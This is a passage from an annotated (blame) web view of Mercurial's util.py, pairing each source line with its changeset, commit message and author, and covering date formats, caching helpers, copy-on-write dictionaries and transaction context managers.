3807
diff
changeset
|
579 '%Y-%m-%d', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
580 '%m-%d', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
581 '%m/%d', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
582 '%m/%d/%y', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
583 '%m/%d/%Y', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
584 '%a %b %d %H:%M:%S %Y', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
585 '%a %b %d %I:%M:%S%p %Y', |
4708
01f9ee4de1ad
Add support for RFC2822 to util.parsedate().
Markus F.X.J. Oberhumer <markus@oberhumer.com>
parents:
4686
diff
changeset
|
586 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822" |
3808
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
587 '%b %d %H:%M:%S %Y', |
3812 | 588 '%b %d %I:%M:%S%p %Y', |
589 '%b %d %H:%M:%S', | |
3808
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
590 '%b %d %I:%M:%S%p', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
591 '%b %d %H:%M', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
592 '%b %d %I:%M%p', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
593 '%b %d %Y', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
594 '%b %d', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
595 '%H:%M:%S', |
9383
7116494c48ab
util: Fix date format for 12-hour time.
Carey Evans <carey@carey.geek.nz>
parents:
9097
diff
changeset
|
596 '%I:%M:%S%p', |
3808
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
597 '%H:%M', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
598 '%I:%M%p', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
599 ) |
2609
6c5b1b5cc160
util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents:
2601
diff
changeset
|
600 |
3812 | 601 extendeddateformats = defaultdateformats + ( |
602 "%Y", | |
603 "%Y-%m", | |
604 "%b", | |
605 "%b %Y", | |
606 ) | |
2609
6c5b1b5cc160
util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents:
2601
diff
changeset
|
607 |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
608 def cachefunc(func): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
609 '''cache the result of function calls''' |
3147
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
610 # XXX doesn't handle keywords args |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
611 if func.__code__.co_argcount == 0: |
20835
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
612 cache = [] |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
613 def f(): |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
614 if len(cache) == 0: |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
615 cache.append(func()) |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
616 return cache[0] |
0e8417131a29
util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
20679
diff
changeset
|
617 return f |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
618 cache = {} |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
619 if func.__code__.co_argcount == 1: |
3147
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
620 # we gain a small amount of time because |
97420a49188d
add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
3145
diff
changeset
|
621 # we don't need to pack/unpack the list |
3145
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
622 def f(arg): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
623 if arg not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
624 cache[arg] = func(arg) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
625 return cache[arg] |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
626 else: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
627 def f(*args): |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
628 if args not in cache: |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
629 cache[args] = func(*args) |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
630 return cache[args] |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
631 |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
632 return f |
e4ea47c21480
Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents:
3131
diff
changeset
|
633 |
34357
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
634 class cow(object): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
635 """helper class to make copy-on-write easier |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
636 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
637 Call preparewrite before doing any writes. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
638 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
639 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
640 def preparewrite(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
641 """call this before writes, return self or a copied new object""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
642 if getattr(self, '_copied', 0): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
643 self._copied -= 1 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
644 return self.__class__(self) |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
645 return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
646 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
647 def copy(self): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
648 """always do a cheap copy""" |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
649 self._copied = getattr(self, '_copied', 0) + 1 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
650 return self |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
651 |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
652 class sortdict(collections.OrderedDict): |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
653 '''a simple sorted dictionary |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
654 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
655 >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
656 >>> d2 = d1.copy() |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
657 >>> d2 |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
658 sortdict([('a', 0), ('b', 1)]) |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
659 >>> d2.update([(b'a', 2)]) |
34139
be00af4a1ac5
doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents:
34137
diff
changeset
|
660 >>> list(d2.keys()) # should still be in last-set order |
32306
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
661 ['b', 'a'] |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
662 ''' |
2d19664e257d
util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents:
32300
diff
changeset
|
663 |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
664 def __setitem__(self, key, value): |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
665 if key in self: |
32300
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
666 del self[key] |
bd0fd3ff9916
util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents:
32291
diff
changeset
|
667 super(sortdict, self).__setitem__(key, value) |
21813
c2262004c2e2
config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
21046
diff
changeset
|
668 |
33626
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
669 if pycompat.ispypy: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
670 # __setitem__() isn't called as of PyPy 5.8.0 |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
671 def update(self, src): |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
672 if isinstance(src, dict): |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
673 src = src.iteritems() |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
674 for k, v in src: |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
675 self[k] = v |
524b13fc711f
util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents:
33549
diff
changeset
|
676 |
34357
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
677 class cowdict(cow, dict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
678 """copy-on-write dict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
679 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
680 Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
681 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
682 >>> a = cowdict() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
683 >>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
684 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
685 >>> b = a.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
686 >>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
687 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
688 >>> c = b.copy() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
689 >>> c is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
690 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
691 >>> a = a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
692 >>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
693 False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
694 >>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
695 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
696 >>> c = c.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
697 >>> b is c |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
698 False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
699 >>> b is b.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
700 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
701 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
702 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
703 class cowsortdict(cow, sortdict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
704 """copy-on-write sortdict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
705 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
706 Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
707 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
708 |
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
709 class transactional(object): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
710 """Base class for making a transactional type into a context manager.""" |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
711 __metaclass__ = abc.ABCMeta |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
712 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
713 @abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
714 def close(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
715 """Successfully closes the transaction.""" |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
716 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
717 @abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
718 def release(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
719 """Marks the end of the transaction. |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
720 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
721 If the transaction has not been closed, it will be aborted. |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
722 """ |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
723 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
724 def __enter__(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
725 return self |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
726 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
727 def __exit__(self, exc_type, exc_val, exc_tb): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
728 try: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
729 if exc_type is None: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
730 self.close() |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
731 finally: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
732 self.release() |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
733 |
33446
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
734 @contextlib.contextmanager |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
735 def acceptintervention(tr=None): |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
736 """A context manager that closes the transaction on InterventionRequired |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
737 |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
738 If no transaction was provided, this simply runs the body and returns |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
739 """ |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
740 if not tr: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
741 yield |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
742 return |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
743 try: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
744 yield |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
745 tr.close() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
746 except error.InterventionRequired: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
747 tr.close() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
748 raise |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
749 finally: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
750 tr.release() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
751 |
33619
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
752 @contextlib.contextmanager |
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
753 def nullcontextmanager(): |
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
754 yield |
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
755 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
756 class _lrucachenode(object): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
757 """A node in a doubly linked list. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
758 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
759 Holds a reference to nodes on either side as well as a key-value |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
760 pair for the dictionary entry. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
761 """ |
30038
42ead5b3aa7b
py3: use unicodes in __slots__
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30036
diff
changeset
|
762 __slots__ = (u'next', u'prev', u'key', u'value') |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
763 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
764 def __init__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
765 self.next = None |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
766 self.prev = None |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
767 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
768 self.key = _notset |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
769 self.value = None |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
770 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
771 def markempty(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
772 """Mark the node as emptied.""" |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
773 self.key = _notset |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
774 |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
775 class lrucachedict(object): |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
776 """Dict that caches most recent accesses and sets. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
777 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
778 The dict consists of an actual backing dict - indexed by original |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
779 key - and a doubly linked circular list defining the order of entries in |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
780 the cache. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
781 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
782 The head node is the newest entry in the cache. If the cache is full, |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
783 we recycle head.prev and make it the new head. Cache accesses result in |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
784 the node being moved to before the existing head and being marked as the |
45d996a566d7
